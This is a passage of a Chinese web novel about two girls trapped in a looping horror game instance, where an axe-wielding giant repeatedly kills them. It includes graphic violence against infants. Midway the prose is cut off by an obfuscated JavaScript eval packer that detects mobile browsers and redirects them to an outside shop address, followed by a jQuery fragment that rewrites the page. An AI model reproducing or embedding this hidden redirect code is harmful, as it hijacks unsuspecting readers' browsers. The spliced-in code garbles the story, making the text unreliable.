这个莫名其妙的念头忽然升腾,占据霍山漪全部的思想,这时,旁边的安乐椅忽然自己动了起来。 “看来,我们很巧地被分配到了同一个地点,1231。” 苹果的声音落到霍山漪耳畔。 即使隔着一层口罩,霍山漪依旧感受到了,来自她体内的,稀薄的,转瞬即逝的热气。 10. 妈妈(二) 进入副本的人会随机被分配到副本世界的某个地点。 里面可能有重要线索,也可能没有,可能会遇到其他玩家,也可能不会。 看到苹果的一瞬,霍山漪立刻从虚幻的幸福中清醒过来。 她还没忘记自己的任务:杀死苹果。 所以,她的第一反应是:如果能在这个全封闭的破屋子里把苹果杀掉,她就不会再担心有别的什么人看到她杀死苹果的全过程了。 除非有人和她们也分配到了同一个地点。 但副本的分配机制一般是两两一组。 很快,霍山漪又意识到,副本的地点分配机制只按照进入副本的先后顺序,苹果就算要和她碰巧被分在一组,也应该在霍山漪前面才对。 于是,霍山漪的第二反应是:苹果有问题。 霍山漪保持着侧立的姿势,正对着苹果那双漆黑的眼珠。 壁炉里的火噼里啪啦地响,苹果抱着她自己的“钥匙”,许久之后才坐起身,“你有找到什么线索吗?” 羊眼婴儿抓着她的头发,“伊伊啊啊”地,似乎想说什么,但最后只叫了苹果一声“妈妈”。 霍山漪不动声色地收回视线,装作没看见继续揣着她的“孩子”蹲到壁炉旁边烤火。 “你的警惕心还真是强,1231。”苹果很喜欢叫原身的名字,尽管霍山漪并不怎么理会她,她依旧叫“1231”叫得很开心。 霍山漪依旧没理她。 很快,苹果就坐不住了,她随手把她的“钥匙”扔到安乐椅上,凑到霍山漪身边,神秘兮兮地说:“其实,我死过一次了。” 这下,霍山漪才总算给了她一个眼神。 “这个副本很奇特,”苹果轻咳一声,“在这里被NPC杀死,不会真的死掉,而是会像刚进入副本那样,重新被分配到一个地点,让一切重新开始。” 霍山漪哈了口气,房间里的温度越来越低,那个男巨人又抠抠搜搜地,不愿意多给木柴,再不想想办法,她和苹果都要凄惨地冻死在这间破房子里。 “你怎么死的?”霍山漪问。 “我强行要离开屋子,在逃跑的途中,男巨人把我杀了。”苹果不用问都已经猜到,霍山漪肯定已经和外面那个男巨人打过交道了。 培养院的小孩大多数都是稳重派,不会干过于冒险的事,这个时间,他们可能还在埋头哭找,掘地三尺在房间里挖出一个线索。 外面的风雪太大,常年生活在乌托邦的小孩几乎没感受过这么寒冷的天气。 只要在隔离罩内,乌托邦就四季如春。 所以,不愿离开木屋也是人之常情。 根据这几天霍山漪偷听其他人谈话中得到的信息来看,苹果大概率也是个富贵人家的千金小姐,在这种环境下,应该也会不习惯。 但她居然一开始就选择违抗男巨人。 苹果是预知异能,她肯定不会做不利于自己的事,这说明,外面一定有什么。 霍山漪只在乌托邦生活了十多天,在此之前,她一直在气温变换不定的世界艰难生存,她还能受得了,只是不知道这具柔弱的躯体能不能适应。 “我以为我的小命就交代在那儿了,没想到,我又活了过来。”苹果轻笑。 这话就显得有点假了。 霍山漪在原来的世界遇到过很多有预知异能的玩家,这些玩家都有一个共性。 因为已经确定了未来,所以,这种人一般做任何事都喜欢打谜语,然后用看透一切的目光望向其他人,自己则做出最正确的选择。 而预知异能带给苹果的自信,让她不论做什么都非常果断且高效。 而且,霍山漪猜测,苹果可能不止死了一次,看她这轻车熟路的样子,或许每一次死亡,副本都会给她一些线索。 “你猜,我在逃跑的途中看见了什么?”苹果无视了安乐椅上被冻得全身发紫的婴儿,无视了婴儿脆生生的“妈妈”,漆黑的眼睛定定地望向霍山漪。 仿佛在看一个她特别喜欢的玩具。 霍山漪这一生,在和苹果短暂相处的时间里,这是她唯一一次看见苹果的眼睛里有一丝微弱的光亮。 可能她真的很喜欢原身“1231”,也有可能是壁炉的火星投射到了她的眼睛里。 “你看到了什么?”霍山漪歪了下头,她怀里,从衣服拉链上的空隙露出一颗头的婴儿也歪了下头。 “房子,”苹果没有任何故弄玄虚,“好多和这间破屋一模一样的房子。” “然后,我看到了一座很高很高的围城,高到往上看,天都会变得很小,男巨人就坐在围墙的正中间用袖珍斧头砍树劈柴,”苹果生动地描述着,“我想,如果他站起来,一定能看见围墙外的风景,而且能看到很远。” 话音落后,一阵冷风透过破烂的,勉强关上的木门的缝隙席卷而来,壁炉里的火苗瞬间变小。 但还没有熄灭。 霍山漪松了口气,起身打算再出去向男巨人多讨要一些木柴,下一秒,“啪”的一声脆响,壁炉彻底熄灭。 刺骨的寒意瞬间从霍山漪衣服各个地方的缝隙钻进去,像一条条冰冷的小蛇攀上来,霍山漪一下没忍住,打了个喷嚏。 苹果依旧维持着原样,她好像感觉不到冷,“你要去向男巨人讨木柴来烧了吗?如果是,我不太推荐这么做。” “我们会冻死。”霍山漪说。 “不论怎么样,我们都会死,”苹果说:“但我们又会重新活过来。” “每一次死亡都象征着新生。”苹果眯了下眼睛,她的笑 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壁炉里最后一点火星也燃烧殆尽,即便苹果阻止,霍山漪也再次推开了门。 太冷了。 这间破屋太冷,冷到霍山漪几乎没有办法思考。 她要去拿新的木柴,她还需要一只打火机。 她要点燃壁炉。 苹果就跟在她身后,安乐椅还在轻轻地摇,跪在上面的孩子已经冻得发青,一动不动地靠着安乐椅的扶手。 霍山漪怀里的婴儿呼吸也逐渐微弱起来。 “我需要新的木柴。”霍山漪冷到嘴唇都覆上一层白霜,苹果握住了她的手腕,不知道是想给她取暖,还是想汲取霍山漪身体里最后一点热量。 因为,苹果的手比霍山漪的手还要冷。 “我不是告诉过你,要省着点用吗?!”男巨人有些生气,砍柴的力道也加重不少。 “屋子里太冷了。”霍山漪哈了口气,心底的恐惧无法忽略,而且在男巨人发话后越来越大。 霍山漪几乎止不住地在颤抖。 因为冷。 还因为害怕。 给她一点火吧! 她现在只想要一团能温暖她的火焰。 男巨人低下头,死死地盯着霍山漪,又看了下站在旁边的苹果,在把新的木柴递到霍山漪手里之前,他忽然扬起手里的斧头。 “砰!” “砰!” 在一两声剧烈的响动中,在血肉飞溅和呼啸的风雪中,霍山漪和苹果一声不响地碎成了两瓣。 霍山漪最后听见的,就是男巨人愤怒的吼声:“你害死了,我的孩子!” 11. 妈妈(三) 这是霍山漪第三次面对死亡。 第一次,她被自己原来世界的队友程万水活活烧死。 第二次,她因为对苹果的生命产生威胁,差点被钉子钉死。 第三次,因为孩子被冻死,她也被副本里的男巨人硬生生砍成了两半。男巨人指责她冻死了孩子,却又不肯给她多一点木柴。 有病。 即使碎成两半,霍山漪依旧在自己的生命走到尽头前翻了个白眼。 不过,霍山漪看着自己另一半身体,好歹是砍得比较均匀,从完好的侧面看,一定是两个非常相似的分身。 霍山漪曾经想要一个可以无限分身的异能。 穿越前,她和自己唯一的队友程万水说,要是她有分身就好了,这样她就可以同时过两个副本,赚更多积分养老。 当然最重要的是,她这样就可以有更多的方式,让自己保持在玩家积分榜的第一名。 正如霍山漪自己所说,她不是卷王,她只是太喜欢第一名。 可惜,这个愿望,霍山漪死前没完成。 现在,她被砍得非常均匀两半身体,朝不同的方向重重倒下。 霍山漪却不觉得痛,她只想笑。 程万水,看见了吗?离开你之后,我连分身都有了,叫你给我烧了,现在你失去了一个会分身的队友,一个人后悔去吧! 精神胜利法显然让霍山漪在死前一刻的心情好了起来。 虽然听起来有点凄惨,但霍山漪还蛮喜欢这样的死法,长痛不如短痛,她的意识消散得很快,还没来得及感受痛苦,就猝不及防地死掉。 “妈妈——” “妈妈——” 在羊眼婴儿一声声稚嫩的“妈妈”中醒来时,霍山漪起身就对上了苹果那双漆黑的眼睛。 “1231,你好啊。”苹果蹲在她面前,怀里抱着羊眼婴儿。 “我们又活过来了。”苹果直起身,心情极好地哼着歌,轻拍着羊眼婴儿的后背,像是在哄孩子睡觉的母亲。 而她的钥匙,就那样安详地叫着她妈妈。 好像苹果真的是它妈妈一样。 霍山漪学着她的样子轻拍着自己的“钥匙”。 在这个副本,不能出门,不能让“钥匙”离自己太远,也不能让“钥匙”死掉,否则都会被男巨人弄死。 房间里有壁炉,壁炉熄火,“钥匙”就会死,霍山漪她们也会冻死。 柴火只有向男巨人索要,但男巨人很抠,不管怎么要都只给一点木柴。 霍山漪站起身,安乐椅在她身后“咿咿呀呀”地摇,她抱着羊眼婴儿,孩子睁着方形的,红色瞳孔,用稚嫩的童声叫她“妈妈”。 承受。 修女妈妈口中的承受究竟是什么意思? 承受男巨人的冷言冷语?还是在柴火稀缺的情况下,住进一间根本不防寒的破屋子,守着几条发霉的烂鱼干和一个嗷嗷待哺的婴儿,这算承受吗? 如果是,那这条件比霍山漪刚穿来只能吃垃圾的时候好这么多,随便来多少天,她完全能承受。 问题在于,受到副本内精神磁场的影响,霍山漪居然产生了一丝,只要继续在这里生活下去,就会不知不觉腐烂掉的,强烈的恐惧。 除非抱着羊眼婴儿。 孩子会带给母亲安全感吗?霍山漪没做过母亲,也不清楚问题的答案,她顺从地接受了副本给她的信息,时时刻刻都和羊眼婴儿靠在一起。 这个“承受”绝对没那么简单。 线索还不够。 “得出去。”霍山漪思索一番,决定要试着杀掉砍死她的男巨人。 副本里的不安全感,几乎都是男巨人带来的。 木柴只有男巨人可以提供,而羊眼婴儿和壁炉的火焰共生,火焰熄灭,它就会死,而副本里的安全感,又只有羊眼婴儿可以提供。 解决不稳定因素,或许是关键的一步。 但是,蚂蚁可以杀死巨人吗? “出去就会死。”苹果并不看好霍山漪的计划。 “就算死,也要出去。”霍山漪把羊眼婴儿放到安乐椅上,壁炉里受潮的木柴正“噼里啪啦”地响。 霍山漪的手臂冷到发青,她从破烂的衣柜里拿出意见冷得发硬的大衣,勉强把露出来的皮肤包好。 不过,屋子里好像没有死之前冷了。 苹果像感受不到冷,对去衣柜里拿一些防寒的衣服无动于衷。 她用漆黑的双眼盯着霍山漪:“你没听见那个死修女说的,科目二关怀考核的关键是承受吗?” 周围没有苹果认识的人,她也不打算装了。 “只需承受的意思是,不做任何反抗,”苹果的皮肤没有任何受气温影响的迹象,就像她感受不到任何寒冷,“1231,你要反抗吗?” 这话说得微妙。不像玩家辉说的话,而是来自副本NPC的威胁。 霍山漪侧过头,看向苹果,反问:“那你呢?你要反抗吗?” “1231,你反抗我就反抗。”苹果再次露出意味不明的笑,她把羊眼婴儿随意扔到安乐椅上,小孩很乖,感到痛也不哭,而是定定地,用带着笑意的眼睛看着苹果。 “妈妈——” “妈妈——” 在一声声“妈妈”中,苹果伸手摸向白裙子的荷包,从里面拿出一块苹果形状的饼干,掰成两半,把口罩扯出一条缝,自己先吃一半,再把另一半递给霍山漪:“1231,没毒。” 从口罩的缝隙看见一点烧伤,很快苹果又放下口罩。 霍山漪看她吞下去了,才接过饼干,她的警惕心很强,即使每一次饼干都没毒,但霍山漪总会怀疑苹果。 谁知道这个蔫坏的苹果,会不会哪次心血来潮给她下毒? “如果我不反抗呢?你也不反抗?”霍山漪的确有点饿了,她接过饼干,清新的苹果味在口腔内弥散,强烈的饥饿感被这块苹果饼干冲淡不少。 苹果只看着她:“1231,你做什么,我就做什么,你不做什么,我也不做什么,1231,我要和你,永远待在一起。” 话音落后,房间陷入一阵诡异的沉默。 霍山漪怎么听,都觉得这话有种非常诡异的感觉。 就好像,苹果是为她而生的。 “你喜欢我?”霍山漪试图扯出一个玩弄的笑,但这具身体的脸很僵硬,稍微夸张一点的表情霍山漪都做不出来,更显得此刻的笑十分诡异。 苹果:…… 她没有回答,只是脸上泛着冷意的笑彻底消散。 很显然,霍山漪的“玩笑”并没有取悦到她。 霍山漪也没存有取悦的心思,她只想冒犯苹果。 下一秒,苹果上前一步,抬手把捏了一路的钉子扎进霍山漪的肩膀。 疼! 霍山漪倒吸一口凉气,这死苹果下手一次比一次狠。 连外面那层硬到像穿了木板在身上的大衣,苹果都扎破了,鲜血从顺着霍山漪的手臂滴落在地。 “我恨你。”苹果面无表情地说。 这是她只么多天,第一次对霍山漪正面流露出她最真实的情绪,以及,恶意。 她的语气很平静,却是浓烈的平静,“你知道你现在像什么吗?1231。” 苹果恶劣地捏住霍山漪受伤的肩膀,“你像一条狗。” 这句听起来像是在骂人的话对霍山漪来说简直毫无攻击力。 拜托,狗那么可爱,谁不想当? 至少霍山漪觉得,苹果这话像在夸她和狗狗一样可爱。 至于苹果为什么恨她,霍山漪并不在意。 霍山漪只在意怎么悄无声息地杀死她。 苹果加重手上的力道,钉子更深地进入霍山漪的皮肤,不知道是不是已经被钉子钉出免疫力了,疼痛只持续一分钟。 那颗钉子像已经和她的血肉融合,霍山漪完全感受不到有异物进入了自己的身体。 苹果自讨没趣地收回手,“你想怎么出去?我可以帮你。” 翻脸比翻书还快。 霍山漪揉了下肩膀,在心里默默吐槽一句,冷淡地看了苹果一眼,没回答,回头看向坐在安乐椅上的婴儿。 科目二的副本,霍山漪曾在她原来所在的世界遇到过相似 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14094140|149471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的。 也是被NPC杀死不会真的死亡,而是被投放到副本的某个地方,重新开始。 循环副本,不停地经历同样的事,但不论如何改变细节,最终的结局都不会改变。 在这里,虽然不会被NPC杀死,但玩家与玩家之间可以自相残杀,被玩家杀死,是不会复活的。 并且,和普通副本一样,长期待在里面会导致精神崩溃,被同化为副本NPC。 离开循环副本的要素和单线副本一样。 找到痛苦,承受痛苦,说出NPC的愿望。 如果按照霍山漪本人的意愿,她不觉得这个副本有什么美好的东西。 但如果按照副本的意愿,那么只有在照顾孩子,和“钥匙”待在一起的时候,她才是愉悦的。 这是副本给的线索。 这副本BOSS该不会有受虐癖吧。 羊眼婴儿仍旧看着她在笑,它原本和苹果的婴儿长得一模一样,但它定定地,和蔼地,微笑着凝望霍山漪。 “妈妈。”就像这个世界上只剩下霍山漪一样。 苹果的“钥匙”则只看着苹果。 好幸福。 霍山漪蹲下身,强烈的满足感已经填满了她的心脏。 这就是副本NPC最想要的幸福。 这福气给霍山漪,霍山漪都不要。 她收起笑容,站起身,狠下心,拎起婴儿,往壁炉里一扔。 刺耳的哭声在这件空空荡荡的破屋子响起,一阵像什么肉烤糊的味道飘来,伴随噼里啪啦的声响。 现在,幸福被烧死了。 副本会怎么做呢? 有点饿。霍山漪咽了下口水。 要不烧一半把钥匙拿出来啃啃?就当今天的早餐了,在培养院可吃不到这么多肉。人饿惨了,什么都能吃。 但最终,霍山漪只是看了几眼,没有下一步动作,因为一股巨大的悲伤席卷而来,盖过了她的食欲。 面对男巨人,这具身体会恐惧,面对死亡的孩子,这具身体会悲伤,这么看,男巨人,孩子,和霍山漪好像不正常的一家人。 “滋——” 苹果把自己的“钥匙”也扔进壁炉,火焰燎肉的声音一下把霍山漪的思绪拉回来,火光映照进苹果的眼底。 屋外再次传来男巨人的怒吼:“你们害死了我的孩子!” 苹果一把抓住霍山漪的手腕,夺门而出的瞬间,狂风呼啸而至,将壁炉的火吹灭,露出烧了一半的两具婴儿尸体。 “你们害死了我的孩子!” “你们害死了我的孩子!!!” 在男巨人的斧头砍向这间破房子之前,苹果已经拉着霍山漪飞快地朝另一座破房子跑去。 沿着围墙的边缘,霍山漪看见一座接一座,和她之前所在一模一样的破房子。 不同的只有里面的人。 几个打开门向男巨人索要柴火的小女孩面色诧异地盯着霍山漪和苹果。 苹果没有欺骗霍山漪。 围墙那边的金发女孩蝴蝶更是高声骂道:“苹果!你刚刚故意死那么多次,就是为了跟这么个玩意儿一起?!” 风声再大,霍山漪依旧能听清蝴蝶的声音。 “我们要死了。” 忽然,苹果回头,眉眼微弯,笑得十分诡异。 下一秒,男巨人的斧头横过来,一下把苹果和霍山漪的脑袋一起砍下来。 霍山漪曾听过一个说法,被砍头的人,在脑袋掉下来之后是不会立刻死的,大概要再过十几秒,才会死掉。 她今天来证实一下。 的确如此。 飞溅的鲜血模糊了她的视线,她感受到自己正在地上骨碌碌地滚动,抬眼,她的身体还被苹果的身体牵着,没有倒下。 还挺浪漫。 视线完全消失之前,霍山漪感觉到一阵剧烈的撞击,狂风卷起苹果的脑袋,“唰”一下把霍山漪的脑袋撞飞十几米。 霍山漪:…… 最后她只看见高到看不到尽头的,把这些破房子像羊圈一样圈起来的围墙。 浪漫个屁。